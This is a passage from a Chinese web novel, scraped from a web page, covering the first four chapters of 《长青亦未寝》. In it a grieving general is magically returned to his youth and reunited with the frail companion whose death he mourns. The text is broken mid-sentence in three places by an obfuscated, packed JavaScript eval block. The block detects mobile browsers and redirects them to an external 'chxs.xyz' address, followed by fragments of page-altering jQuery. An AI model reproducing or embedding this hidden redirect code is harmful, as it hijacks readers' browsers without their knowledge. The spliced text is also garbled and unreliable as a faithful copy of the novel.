《长青亦未寝》 1. 回乡 乌云重重,灰暗的天地间,红色的战旗遮天蔽日,身披金甲、手持红缨枪的宋旌率领千军冲出坚不可摧的铁盾阵。 战鼓擂动间,将士们的杀声震天。 伴随“咻咻咻”的风声,噼里啪啦的烈火被漫天箭雨洒向大地,再以不可阻挡的趋势,瞬间吞噬掉所有的物体。 宋旌只身冲向道路尽头的宫殿,左手的红缨枪像是一条灵巧的毒蛇一般,轻而易举间就能夺取旁人的性命。 翻涌的墨色云海下,一道颀长的身影矗立在嵝山的山头上,他平静的望向山下的城池,直到他看见宋旌驾马,一枪掀翻了手持重剑、御马而逃的男子,他才如释重负般,露出一抹浅笑。 “公子!宋将军胜了!我们赢了!!!” 身旁的女孩也瞧见了山下的战况,难掩兴奋的她一时竟忘了替他撑伞。 他望着宋旌,恍惚间,似乎又回到了他与宋旌见面的那一天。 那天,盛京的官道上,数不清的百姓夹道欢迎,在鲜花的簇拥下,金戈铁马的宋旌走在得胜归来的万军之首,面如冠玉的少年郎持枪御马、英姿勃发,身后的猎猎红旗像是点燃的火蛇般随风而动,恰如此时此刻。 回过神,那抹隐藏在眼底的亮色也随他的回忆一起散去。 他温柔地颔首回应,从袖中取出随身携带的手绢,替女孩拭去额间细雨,只淡淡地说了两个字:“回吧” 女孩“嗯”了一声,正想推着他的轮椅往回走,他却突然俯身,呕出一大片异常艳丽的鲜血。 “公子!!!” 虽然尚未从方才的欣喜中抽身,但是女孩还是本能地搭上他的手腕,他的脉搏已经微弱得触不可及。 “先带公子速速回城!再命人快去通知将军回府!公子......” 女孩的声音戛然而止,她实在无法说出接下去的话,可是这些年的经历又让她习惯性地保持镇定。 身后的黑影听令行事,当黑影下的暗卫熟练地背起轮椅上的他时,他已经轻阖上双眼,乖巧得像平常睡着时那样,全然不知外界发生了何事。 山下,宋旌的长枪已经没入敌首右肩六寸,将男子死死地钉在宫殿的木柱上。 “说!解药在哪里!” 杀的双眼发红时,宋旌宛若一只刚从修罗地狱里厮杀出来的厉鬼,在胜利的号角声中,将溃败的男子发疯般掐在手里。 男子断断续续地发出肆意的笑声,他任由宋旌掐紧他的脖子,哪怕他的额间青筋暴起,眼前出现了斑驳陆离的画面,他也仍是只字未提。 “孤......当...初......就...该...一剑......杀了你” 男子狞笑一声,视线死死得钉在不远处的城墙上,眼睁睁地看着一面面绿色的旗帜倒下,又有一面面红色的旗帜不断地升起来,他心有不甘地瞪向宋旌,瞪的宋旌心生烦躁,又提枪朝他的右腿刺去。 男子吃痛,闷哼一声,彻底跪匐在宋旌脚下。 宋旌的靴子顺势踏上男子的脸,在蹂躏了几下那张令人生厌的脸后,阴森森地警告着:“你不想说,我有的是法子让你求着说” 抬起脚,宋旌在男子的金袍上嫌恶地蹭掉那满是污秽的血,不耐烦地将男子转交给随行的将领。 此战大捷,宋旌那颗悬了已久的心本该落下,可是他却丝毫没有感到轻松。 宋旌不敢耽搁一刻,他在急行出烽火连天的战区,正准备策马回城时,远远地看见一道熟悉的身影向他匆匆而来。 “将军!柳公子怕是不行了” 来人话音未落,宋旌的心顿时下沉至最低点,人也如离弦之箭般,瞬间消失在众人的视野里。 “吁——” 宋旌猛勒住缰绳,健硕的战马高举起前蹄,被他扯得发生痛苦的嘶鸣,而马蹄还没有落下,他就仓促起身,毫无章法地摔下马,再三步并作两步,跌跌撞撞地疾跑进空无一人的宅院。 簌簌细雨越下越急,如同一炳炳锋利的刀刃,无情地刮向宋旌。 此时,宋旌的心已经不受控制地慌乱起来,他想“快点!快点!再快点!!!”,可是他用尽了力气,也始终看不到任何一个人的身影。 “将军!” 跨过最后一道院门,嘈杂的声音忽然像海浪般猛扑过来。 狭小的院里塞了满满当当的人,人们杂乱无章地忙着,像刚煮沸的水一样,吵闹不休。 一路上,不断有人发现宋旌,再惊慌失措地跪下去,战战兢兢地向他行礼。 “宋将军,公子他......” 走到清冷的竹屋外,一个女孩正无助地坐在台阶上,哭得梨花带雨。 宋旌瞧着女孩那张原本古灵精怪的脸颊上布满了泪痕,不知怎的,他却没有一丁点想要取笑她的心思,他此刻只觉得嗓子发涩,眉头突突的跳动,一时间竟诱发了气血逆行。 “李神医呢?”宋旌勉强压制住从胸腔溢出来的血腥气,向门侧已经吓傻了的小厮问道。 小厮还没能答话,屋内走出的男子却不偏不倚地挡住了宋旌的视线:“李神医方才已经给长青看过了” 宋旌充耳不闻似得,只冷冷地瞧了来人一眼,继续向小厮蛮横地吩咐着:“不管他之前说过什么,我要他立马过来!” 说罢,宋旌连一个眼神都懒得施与眼前人,就直直地略过他,急切地向里走。 “高扬” 男子挡住宋旌的去路,宋旌将男子粗暴地掀开,可男子又不死心地扣住宋旌的右臂。 宋旌忍无可忍,左手提起男子颈部的交领,一把将男子用力地甩在墙上,其力道之大,竟是将男子震得眼冒金星、脸色惨白,兀自吐出一口鲜血。 “宋高扬!你究竟要......” 男子不甘示弱地咬牙怒吼,可是他的话才刚到嘴边,宋旌便用前臂死命地压在他的胸腔上,让他顿时喘不过气来。 “不管你要说什么!现在,都特么给老子咽回去!” 宋旌恶狠狠地警告着,他扔下半死不活的男子,快步走向竹屋的里间。 屋内药香四溢,一张矮几上还散乱着几副笔墨未干的字帖。 宋旌伫立在白色的贝帘外,他本想一把掀起帘子,可是当他看见自己那只方才还能持枪杀人的手时,他才发现自己的手竟抖得不成样子。 怎么办?宋旌觉得自己快要支撑不下去了...... 深吸了几口气,宋旌努力控制着那具快要崩溃的身体,他用轻颤的手,撩开了最后一道阻隔他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13991652|148359||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的屏障,目光不偏不倚地落在那张安静得没有一丝波澜的脸上。 周遭似乎又回归到最初的寂静。 “拿药来” 宋旌坐在床边,他屏息凝神,专注地瞧着床上的人,像是怕吵醒他一般,连吩咐侍女的声音都温柔得像是细语。 在旁侍候的侍女大气也不敢出,忙不迭地端起一碗药,谨慎地递到宋旌跟前。 “该起来喝药了” 宋旌自言自语,他将床上的人轻轻扶起,又将他稳稳地搂在怀里。 隔着一层里衣,宋旌还能感受到他身体的温度。 宋旌抬起灌了铅的手,想替他将泛苦的汤药送到嘴边,可他端了几次都没能端起药碗,药汤洒了,淋了满手,直到侍女再也不忍心看下去,主动将那碗药递到宋旌手里,宋旌才堪堪端住。 “宋旌,还不死心吗?!” “他走了!不会再醒过来了!” 男子歇斯底里的咆哮声回荡在空旷的竹屋内,振聋发聩,一下便戳破了宋旌心里那仅存的一丝幻想,让他连自我欺骗都没有余地。 宋旌暴怒,他“啪!”的一声,将药碗精准地砸在男子的脚边,瞪圆了一双猩红的眼睛,像是要吃人一般,用充满戾气的目光划过男子的脸。 瓷碗破碎,飞起的瓷片割伤了男子的手臂与脸颊,被宋旌一再蔑视的男子也怒不可遏地捏紧了双拳,他想跟宋旌痛痛快快地打一架,可是他又知道仅凭他的实力还远远打不过他。 “滚!” 只一声,如同军令般,带着不容违抗的威严,将房内众人都喝退出去。 男子原不甘心就这样任由宋旌一直胡闹下去,可有人提前制止了他,将他强行赶到了屋外。 那之后的三天三夜里,宋旌从未踏出过竹屋半步,他不吃不喝,连染血的衣衫都来不及换下,脸上也残留着从硝烟中带出来的黑灰,或许是因为担心冰冷的盔甲会硌疼怀里的人,所以等人们能踏进竹屋的时候,他们只发现了一具在月光下泛着寒光的金甲被随意地丢弃在地上。 那个人离开后的第四个夜晚,守候在竹屋外的众人忽然瞧见紧闭的竹门被人从里向外打开。 幽幽月色下,像是浸泡在寒潭里的宋旌小心翼翼地抱起那个透得像是要消散在空气里的人,直直走出清禾苑,在众人面面相觑时,干脆利落地翻身上马。 未留下只言片语,宋旌便带着那一人一马,彻底地消失在天地线的尽头。 从帛州到桃州有多远? 大概是骑坏了十匹骏马的距离吧。 宋旌日夜兼程,几乎没留下多少可以喘息的间隙,才在十日内赶到了遍地落樱的桃州。 桃州是那人的故乡,在此之前,宋旌还从未踏足。 从前,宋旌总笑那人来自蛮夷,可是他不知道蛮夷之地竟也如此秀美......暖风和煦、草长莺飞,就像是那人一样...... 柳影微摇樱似雪, 游人怅望梦成叠。 魂殒泪干哀满袖, 独倚时光忆旧节。 平元723年,天下一统,结束了长达十余年的战火。 那年,有君,名周屹,建国号容。 次年,君有诏,命宋旌,任桃州刺史。 2. 重启 一晃眼,十年过去了。 时值四十六岁的宋旌孑然一身,无儿无女。 桃州在宋旌的治下,宛若一方与世隔绝的人间仙境,百姓安居乐业,边城四时升平。 每年,四月初六至四月十六的花魂祭是桃州百姓最轻松愉悦的时候。 这时,文人泛舟湖上,武人角逐靶场。 柳叶青青,樱花簇簇,白日里,市集上如火如荼,夜晚间,游船里灯火通明。 人间烟火、丝竹声声,莺歌燕舞间只余一叶小舟孤零零地飘荡在一方幽蓝空寂的无名水域中,越飘越远。 那舟上躺着一人,此人朗眉星目、玉面红唇,虽面容沧桑、不修边幅,但也难掩其骨子里透出的那一抹风华绝代,仿佛他曾历经磨难,饱尝冷暖。 那人只着一件松松垮垮的宽袍,在春寒料峭的湖水里,将一半身子浸泡在冰凉刺骨的水中,时不时再仰身、纵酒,其动作再潇洒恣意也隐藏不了那无尽的苍凉与孤寂。 十年了...... 宋旌都不知道自己是怎么活下来的。 这十年里,他靠烈酒与没日没夜的处理政务来麻痹自己,可是再烈的酒也已经逐渐失去效力。 顺着风,小舟飘进密林深处。 幽深的密林里有一处常年低温的洞穴。 十年前,宋旌在将那人的身体妥善地处理后,便永久地封存在洞穴的水潭之下。 每年的四月十日,宋旌都会独自一人泛舟至此。 此刻,宋旌正趴在船侧,白皙的手臂没入清澈见底的水中,水底的琉璃棺里正躺着一个玉面郎君,一如十年前,仍在梦中。 朦胧的水雾遮挡了视线,密林中似有空灵的歌声从悠远的地方响起。 宋旌凝视着那张朝思暮想的脸,他晃了晃神,忽然看见那人缓缓苏醒,主动推开那扇尘封的棺盖,似乎正要朝他的方向游来。 “子夏?” 宋旌呢喃了一声,他想都没想,就鬼使神差得一头扎进水里。 他奋力地向柳悬游去,眼角仅有一滴红泪融进了清凉的潭水里。 “高扬,你想我了吗?” 漆黑如墨的谭底,似柳悬又不似柳悬的声音在宋旌的耳畔响起。 宋旌愣了一下,在他即将情难自禁,脱口说出那个想字之前,他猝然拔出佩剑,向水下的虚影挥去。 虚影消散,一个银发碧眼、人身鱼尾的少年闪现至宋旌眼前。 少年轻捧起宋旌的脸,他毫不在意宋旌方才流露出的杀意,发出银铃般的笑声:“难道你不想再见他一面吗?” 少年不等宋旌反抗,又瞬移到完好无损的琉璃棺上,翘起一条华丽的鱼尾,半个身子都趴在透明的棺盖上。 宋旌在短时间内经历过大喜、大悲、大怒与大惊的情绪后,他最终还是恢复到往日那副处变不惊的模样。 “你是妖?”宋旌问。 “是妖是仙,于你而言,重要吗?”少年见宋旌毫无惧意,又故意甩动尾巴,慵懒地游到宋旌身边,围着他游来游去:“你只需晓得这世上唯有我能帮你实现夙愿即可” “你为何要帮我?”宋旌虽收回佩剑,但仍旧警惕地注视着少年。 少年愉悦地摆了摆尾,用稚气未脱的声音回道:“我要帮你,自不是白白帮你,我既帮了你,便要你在桃州的飞泉山上为我建造一座神龛,向我供奉百年” 少年说得明白,宋旌却听得茫然:“为何是我?” 或许是因为宋旌的问题太多,少年面露不耐地答道:“因为只能是你” 宋旌明知少年的心情不佳,可他还是压制住那呼之欲出的渴望,不紧不慢地问道:“你又如何能帮我?” 结果此话一出,少年不仅不恼,还用那灵巧的尾巴挽了个极其漂亮的水花,像是终于吃到糖果的孩童般,瞬间来了兴致,眸光闪烁,甚是亢奋地反问道:“你有听说过浮生一梦吗?” 尽管宋旌未答,少年也像是不在意他似得绕着他快速游动,还自顾自地说道:“轮回无尽,梦织浮生,诸相皆虚也” 少年说着宋旌听不懂的话,宋旌的耳畔突然响起一阵尖锐的铜鸣,紧接着,四周涌出许多白雾,少年的身形越游越快,快到宋旌的眼前只剩下一片由白色残影所结成的巨大光阵,而少年的声音也越来越远,远到宋旌只能模糊地听见一个又像清脆童声又像沧桑暮声的古怪之声,以足以撕裂灵魂的速度与音量,在宋旌的脑海中响起: “吾于时光之隙,以咒为契” 愿行者穿越梦境之海” “待彼岸花开,往昔执念,随风而散” “新章再启,自在如初” 突如其来的剧痛几乎要将宋旌的身心扯成无数的碎片,宋旌不知道自己是什么时候陷入了昏迷,他只记得耳边的咒语与道音时近时远,将他折磨得身心俱疲。 等宋旌的灵魂从遥远的虚空重归于陌生的身体时,他仍觉得身外喧闹不止。 “快!” “还呆站在那儿干嘛!” “快去,快去找人将少将军与大公子捞起来呀!” 宋旌费力地睁开双眼,他的身体依旧还泡在水里,只是当他透过碧绿的水面,望向不远处的拱桥时,他看见了一张熟悉的脸。 “我家公子不会水,水芸姐姐!求你先找人救救我家公子!” 嘈杂的人群中,一脸稚气的柳轻红正拉着慌了神的宋水芸苦苦哀求。 宋旌听见岸上的声音,他本能地回过头去看,就看见不远处的少年正手足无措地挥动双臂,像一片失了浮力的羽毛般,沉沉向下坠。 “子夏!!!” 看清那张脸的一刹那,宋旌感到浑身的血液一凝,紧接着像是被丢了把火一样,沸腾得像是要争先恐后地冒出来。 虽然此时的宋旌还没来得及理清当下的状况,但是他的身体已经不自觉得朝那人的方向游去。 “你们快看!” 岸上有人发出一声惊呼。 众人皆朝他指的方向瞧去。 水面下,宋旌毫不犹豫地抱住柳悬那孱弱的身子,任凭他在怀中挣扎,也没有半点要放开他的意思。 ——柳悬......是有温度的! 宋旌的心里又惊又喜,他用左手从柳悬的腋下绕过他的前胸,又用力地锁住柳悬的右手,像是怕他跑掉一般。 两人的肌肤隔着湿透的轻纱薄料,紧密相贴,是那么真实,又像是在做梦一样。 柳悬虽然很抗拒宋旌的触碰,可是生死攸关之际,身边除了宋旌以外,似乎再无旁人能出手搭救,他只得僵硬地配合宋旌,一动不动得由着他将自己拖带上岸。 “公子!” “少将军!” “哎哟,我的两位小祖宗诶!” 见宋旌将柳悬捞了上来,桥上众人叽叽喳喳地往这边跑。 宋旌脱力之后,顷刻间便没了意识,不由自主地倒在柳悬身上。 余怒未消的柳悬一边被苦涩的湖水呛得猛咳不止,一边被猝然陷入昏迷的宋旌给压了个措手不及。 柳悬闷哼一声,一点不留情面,一下将重得像块硬铁一样的宋旌从他的身上推开。 只是才刚喘过气的柳悬还没来得及从地上直起身来,宋旌又一把将他抱回怀里。 柳悬被迫趴在宋旌的身上,他想从宋旌的身上起来,但他只要推宋旌一下,宋旌便会用不要命的气力将他抱得更紧一分,嘴里还戚戚哀求着:“别,别丢下我” “公子”飞雪带着六一刚取来的狐裘,直接掠过众人头顶,从桥上飞到柳悬的身边。 恭敬地蹲下身,在飞雪将要扶起柳悬的时候,她却意外地发现宋旌的双手仍环在柳悬的颈后,并死死相扣在一起。 飞雪不明就里,她那充满疑惑与不解的目光直勾勾地落在柳悬的身上,一如往常般静候着柳悬的指令。 “让丹良过来” 柳悬有些无奈,破天荒地翻了个白眼。 “是” 飞雪果断应下,她从不会多问柳悬任何问题,只要柳悬下了指令,她就会不计一切代价去完成它。 就像现在一样,当一群 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13991653|148359||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乌泱泱的姑娘婆子们才气喘吁吁地跑下拱桥,走了一个来回的飞雪已经从树后揪住一个男孩的衣领,像提溜小鸡般,一把将他拽上半空,迅速飞离原地。 “啊!!! “飞雪姑娘!快放我下去!” “我可什么都没做啊!” “你要带小的去哪儿啊?” “小的贱命一条!实在是不值得您老亲自动手!” 被飞雪提溜过来的男孩,是自小一直跟着宋旌的贴身小厮,名唤宋丹良。 飞雪将咋咋呼呼、喋喋不休,吓得双腿发抖、面色铁青的丹良无情地扔在地上,用平缓到有些单调的语气,从紧咬的齿缝间挤出两个字:“聒噪” 此时,柳悬正以十分诡异的姿势与宋旌在地上僵持着。 宋旌霸道地贴在柳悬被蹭得衣衫半开的赤裸胸口上,整张脸都埋进柳悬那修长的颈项间,宋旌的红唇微启,与柳悬那瓷白的肌肤若即若离,而柳悬越是想努力支撑起摇摇欲坠的身体,让两人保持一小段微不足道的安全距离,宋旌便会贴得越紧,如同一块甩不掉的狗皮膏药,牢牢地攀附在柳悬那瘦弱的身躯上,让他动弹不得。 丹良被强行拖到柳悬跟前,并且在他被强迫看清宋旌死死抱着柳悬不肯撒手、嘴里还念念叨叨不让柳悬走的样子后,刚才还迷迷瞪瞪的丹良霎时像活见了鬼一样,惊得两眼一翻,差点一跟头栽进地里去。 “丹良小哥,事态紧急,多有冒犯”柳悬说话向来温润有礼。 “赵姑姑与水芸姑娘离这儿应该还有一刻钟”柳悬勉强维持着他与宋旌间那微妙的平衡,即便他也觉得羞愤难当,可他仍是面不改色,处变不惊:“你也瞧见你家主子现下神志不清,许是将我当作哪家姑娘,心悦于她,才敢做出这般孟浪之举” “不过我想你也明白,他定不愿让旁人瞧见他现在这样,况且要是传出去......多少会有损少将军的一世英名,而你作为少将军身边的贴身侍郎,想必也......” 柳悬话里有话,欲言又止,只用寥寥数语便让丹良想起被宋旌体罚的经历,害得他忍不住打了个寒颤。 “现下你若知晓他的命门所在,还是赶紧让他松松手?免得待会人多了,被旁人仔细瞧了什么或听了什么去?”见丹良仍有顾虑,柳悬又好一番加油添醋地劝解。 不出所料,柳悬才多说了两句,经不住事的丹良就“唰”的一下,蹲了下来,壮着一颗熊心豹子胆,对宋旌做了以前借给他十个胆子他都不敢做的事情。 柳悬属实没想到,堂堂七尺男儿,更何况还是一个生擒匪首、统帅万军的御封少将军,竟也会怕痒? 丹良在宋旌的身上上下其手,摸索着宋旌的 min gan 地带,寻找他的弱点,可是宋旌出于本能,也会随着丹良的动作,在柳悬的身下动来动去。 直到柳悬即将因为受不了而快要爆发的时候,摸到宋旌侧腰某个部位的丹良像是意外触发了某个开关,宋旌突然就撤了手。 终于等到这个来之不易的空隙,柳悬迅速翻身,滚至飞雪脚下,几乎是用平生最快的速度,才堪堪逃离宋旌的禁锢。 飞雪一直候在不远处,见状,她赶紧将狐裘裹在柳悬的身上,又俯身将他背起。 此时,那乌泱泱的一群人终于姗姗来迟。 “水芸姑娘,今日柳悬幸得少将军搭救才能无恙,按理,柳悬自当送少将军回去,再当面感谢少将军救命之恩” 柳悬扬起一抹浅笑。 “只是柳悬身有不适,此番,恐不能行” 这一席话说得滴水不漏。 “大公子言重了,是奴婢们照看不周才让两位主子受了惊” 水芸向柳悬行了礼。 “大公子身子弱,快回去歇着吧” 水芸是宋旌院里最有教养的侍女,也是唯一一个被宋旌父母认可,能替宋旌料理院内事务的姑娘,所以柳悬说的话,既是说给宋旌与在场的旁人听,也是说给宋旌的父母听。 这边,水芸才送走柳悬一行人,那边的丹良就已经将宋旌安置妥当。 3. 坠湖 “水” 灯火通明的室内响起一道喑哑的声音。 宋旌平躺在一张宽阔的床榻上,帷幔被撩起,束在一侧。 在旁侍候的丹良见昏迷数日的宋旌总算有了点动静,放下心来,忙将一直温在炉子边的水送到宋旌的唇边:“主子,你可算是醒了” 丹良将宋旌扶起,让他靠在柔软厚实的腰垫上。 “丹良?”宋旌迷茫地望向眼前这个既陌生又熟悉的少年,他记得,自从丹良死后,这个小孩已许久不曾出现在自己的梦里。 此时,视线像蒙上了一层纱,宋旌看什么都不够真切。 “主子有何吩咐?可是还有哪里不适?” 丹良听宋旌唤他,一时紧张,又探了探宋旌的额头,以确保高热已退。 期间,丹良丝毫没有发觉宋旌那异于往常的温柔,只当宋旌是大病初愈,还不清醒。 宋旌喝光杯中水,缓了一会,思绪逐渐变得清晰起来。 忽然,宋旌像是想起什么,撩起被子就要赤脚下地。 “诶——!主子!你要干嘛去?!”丹良拦住宋旌。 “柳悬呢!?”宋旌问道。 “主子别急”丹良苦着一张脸,见宋旌这么不爱惜自己的身体,就心疼得紧。 丹良将宋旌的双脚捧在怀里,一边擦拭干净,一边小声埋怨着:“柳公子可比你过得舒坦多了” “不过主子也别担心”丹良抬头打量了宋旌一眼,他始终记得自己主子与那外来蛮子素来不和,他怕宋旌听到柳悬过的还不错的近况就不舒服,又赶紧补充道,“他一个无依无靠的蛮夷孤子,竟敢得罪与你,前几日又害你卧病在床这么久,京中自然有得是人想要收拾他” 说着,丹良想起那日柳悬在河边当着众人的面,口口声声说要亲自上门道谢,可过去这几天自己主子在床上病着,他却连个人影也见不着,而自家夫人还天天上赶着去嘘寒问暖,就气不打一处来:“想来,他应该也好过不到哪里去” 宋旌听出丹良的话外音,像是意有所指,他收回脚,又听话地窝回床上:“何意?” 关于二十几年前的事,宋旌已经不大记得清了,他耐心地等着丹良的答复。 丹良从炉子上取来一直蒸着的药,心情甚好,略显得意,替他答疑道:“夫人今儿个辰时在照看过主子后,又带了些吃食,去英才院瞧他,听院里的下人说,他从昨夜起就被某些人反锁在了博文馆三楼,关了整整一夜后,直到今早查人,才被教授发现呢” “英才院?被反锁了整整一夜?”听完丹良的转述,宋旌就更迷惑了。 在他的记忆里,他那偏心的娘亲对柳悬这个故人遗子一直宝贝得紧,自打柳悬因宣诏入京而寄住进他家以后,他娘对柳悬简直比对他都上心,以至于整个将军府的人都晓得他这个少将军不喜柳悬那个外人,但是全府依然没有一个人敢为了他去得罪柳悬,就连他院里的人也是,见了柳悬个个都客客气气得。 更何况,柳悬总是以那弱柳扶风、经不起半点风吹雨打的病秧子模样示人,还天天坐个轮椅到处跑,他娘怎么会、又如何舍得让柳悬被反锁在博文馆里整整一夜? 丹良听出宋旌的话外音,想到他已昏迷数日,对外界发生之事一概不知,就主动解释道:“柳公子现在住在英才院,即使夫人再疼他,也不能时时照看他,所以才有了这事” “他何时搬去英才院?因何缘由?”宋旌点点头以示了解,复又皱起眉,犹豫了很久,即使已经向药碗里添了很多蜜糖,可是他还是有些下不去口。 “是两日前才刚搬过去的,说是王学博请他帮忙修撰史书”丹良见宋旌一直端着那碗药,却迟迟不下嘴,知道他家主子定是又怕药苦,所以不想喝了,“主子,何大夫可是特意嘱咐了,这药必须得喝!” 丹良不容商量,又扶了一下碗,目不转睛地盯着宋旌的一举一动,生怕他转头就把药倒了。 宋旌被丹良盯得心慌,就像是憋着坏主意的小孩被父母抓了个正着一样,他只能认命,一口闷了那药碗。 丹良接过宋旌递来的药碗,见他的脸皱成一团,又习惯性地往宋旌嘴里塞了他最爱吃的蜜饯。 “不过我觉得他定是怕主子你醒来后又找他算账,才故意躲了出去”丹良一干完正事就又回到原来的话题上。 “怕、我?”宋旌含着多年不曾品尝过的蜜饯,心里百感交集,他此时已经忘了自己与柳悬的关系曾经有多么恶劣。 远远的,宋旌从镜台的镜子里瞧见了现下的自己,桀骜不驯的玉面少年郎虽然稚气未脱,但是一双含情脉脉眼却熠熠生光,整个人看上去气宇轩昂、神采飞扬,一点也不像是历尽沧桑的人。 若是他没记错,如今离柳悬进京已过去三年之久,而离柳悬科举弃考应该还有不到两年的时间。 “昂,主子忘了”丹良的声音将宋旌那偏远的思绪又拉了回来:“那日在桥上,你可是这么说的” 为了帮“健忘”的宋旌好好回忆回忆他与柳悬的恩怨情仇,丹良站起身,模仿着宋旌的动作,整了出现场还原。 “姓柳的,别以为你仗着身子弱,我便会忍让你!” 那日,宋旌刚在英才院被通识堂的学博罚抄完一百遍《曹刿论战》与一百遍《晋灵公不君》,就马不停蹄地赶回府,气势冲冲地堵住正在桥上赏鱼的柳悬。 脾气火爆的宋旌一脚蹬在轮椅的轮子上,揪住柳悬的衣领往上提,迫使柳悬挺身抬头,自下而上地望着他:“我宋旌平生最瞧不起你这种两面三刀,只会舞文弄墨、勾心斗角、耍些嘴皮子的腌臜小人!” 宋旌那恶狠狠的样子,想是要生吞活剥了柳悬似得。 当时,若不是柳悬暗地里向身后正准备拔刀的飞雪与正准备施针放毒的六一打了个手势,就宋旌那副地狱罗刹的样子,怕是早就跟两人打起来了。 “以后在我面前,你最好收起那些见不得人的龌龊心思,若要再让我发现你在背后阴我,小心我要了你这条狗命!” 宋旌想到自己辛辛苦苦抄了数日才抄完的《易经》居然在大庭广众之下眼睁睁得变成一堆白纸,还被学博当堂阴阳他怕是在梦里写了本无字天书?!宋旌就觉得眼前的始作俑者实在是面目可憎! 柳悬也没料到宋旌竟然这么快就发现了此事出自他的手笔。 当时,为了让乌贼墨与宋旌常使用的徽墨相差无几,柳悬还花了不少时间,费了好一番功夫。 “姓宋的,你敢!” 身后的轻红见宋旌出言不逊,将自家公子比作狗,顿时不乐意了,也不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13991654|148359||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顾不上什么尊卑礼法,指着宋旌的鼻子,摆出一副不好惹的架势,就准备撸起袖子开骂。 那时候,宋旌只觉得目中无人的臭丫头果真应了那句“恶主养刁奴”的老话,却不认为轻红与别家丫头有什么不同。 少年宋旌也是个混不吝的主儿,天底下还没有几个人敢正面挑衅他,如今轻红敢对他出言不逊,那宋旌自会将这笔账算在她主子的头上。 “你瞧我敢不敢!?”宋旌睨了眼杏眉含怒的轻红,撒开柳悬的衣领时,将柳悬的轮椅一脚蹬开,害柳悬的轮椅噌地一下,猛撞到桥边的一根灯柱上。 拱桥没有护栏,柳悬的轮椅差点就滑进脚下的碧湖里。 “少将军”柳悬轻唤一声,端坐在将将停止移动的轮椅上,一双色若白玉、颀长如竹的手轻扶在两侧的木轮上。 宋旌闻声,也不再搭理气急的轻红,挪回视线,眉目间的怒火似是只增不消。 柳悬推动木轮,轮椅移动几分。 在宋旌满是不解的目光中,向来淡漠的柳悬忽然轻笑起来:“少将军因何以为柳某会甘为他人刀俎下的鱼肉?” 灵动的笑声,清雅、柔和,又带有几分令人琢磨不透的俏皮,让本就疑惑的宋旌更显呆愣。 “我柳悬不才,生于天地十余载,此身还从未......”柳悬的话戛然而止,随着他的身体向椅背靠去,不知何时起,已半悬在桥沿上的轮椅突然晃晃悠悠,眼看着就要栽进脚下的湖水中。 宋旌见飞雪、六一拦住往前冲的轻红,一动不动地杵在原地,一副风平浪静的模样,半点不像平日那般紧张柳悬的模样。 暗道一声“不好!”,难得聪明一回,宋旌瞬间意识到柳悬这厮准又憋了什么坏心思,想要陷他于不义。 “疯子!” 宋旌大喝一声,身形闪现,仅用几个箭步便直冲至柳悬身边。 “柳悬!你个疯子要再污蔑于我!”宋旌怒不可遏、睚眦欲裂,“老子做鬼也不放过你!!!” 宋旌一把把住柳悬的轮椅,死命将柳悬从半空中强行拉回来。 就在两人互调位置、柳悬被宋旌抡回桥上时,一直没有动静的六一忽然从柳悬的身后,腾空而起。 柳悬冷笑一声,用戏谑的口吻,回应了宋旌方才的威胁:“那少将军以后可得做个心无旁骛的恶鬼才行” “糟了!”宋旌闻言,想起柳悬刚刚一直用食指敲轮椅的扶手,而飞雪、六一皆目不转睛地盯着他,也不知道他们是在看护柳悬的安全,还是在解读柳悬的暗语。 此时,不明白几人到底传递了什么讯息的宋旌只觉得心里的不安也变得愈发强烈。 六一抬手,猝不及防,向宋旌挥洒出一大片无色无味的粉末。 宋旌的眼前因而变得一片模糊,他只得在慌乱间奋力去够身前的一切。 “宋旌!你!(混账)......” 那一日,或许连柳悬也没想到,自己本想教训教训那不知天高地厚、口无遮拦的狂妄小将军,结果在他自认为稳操胜券的时候,那呆子竟将他也牵连了进去,还害他白白折损了最好的一把轮椅。 “扑通”两声。 “公子!”在轻红、飞雪与六一那接二连三的惊呼声中,宋旌拉着柳悬,双双坠入湖中。 4. 连松 “主子” 丹良刚模仿完宋旌那日向宋旌放狠话的模样,就见宋旌正望着房梁发愣。 “主子?” 丹良在宋旌眼神晃了晃手,宋旌像是丢了魂一样,没半点反应。 “主子!!!” 宋旌被丹良突如其来的一声大吼吓得惊颤了一下,刚想起来的一点事,又被丹良搅没了影。 “啊——疼!” 被宋旌赏了一记爆栗的丹良委屈地捂住自己的脑袋,一双小狗眼里盈满了亮晶晶的液体。 宋旌扶着被丹良吵疼的脑瓜子,示意丹良有话直说。 丹良就是这样没心没肺,即便上一秒被宋旌吊着打,下一秒宋旌一招手,他还是会眼巴巴地凑上来,将夫人提前煲好的滋补汤递给榻上的宋旌。 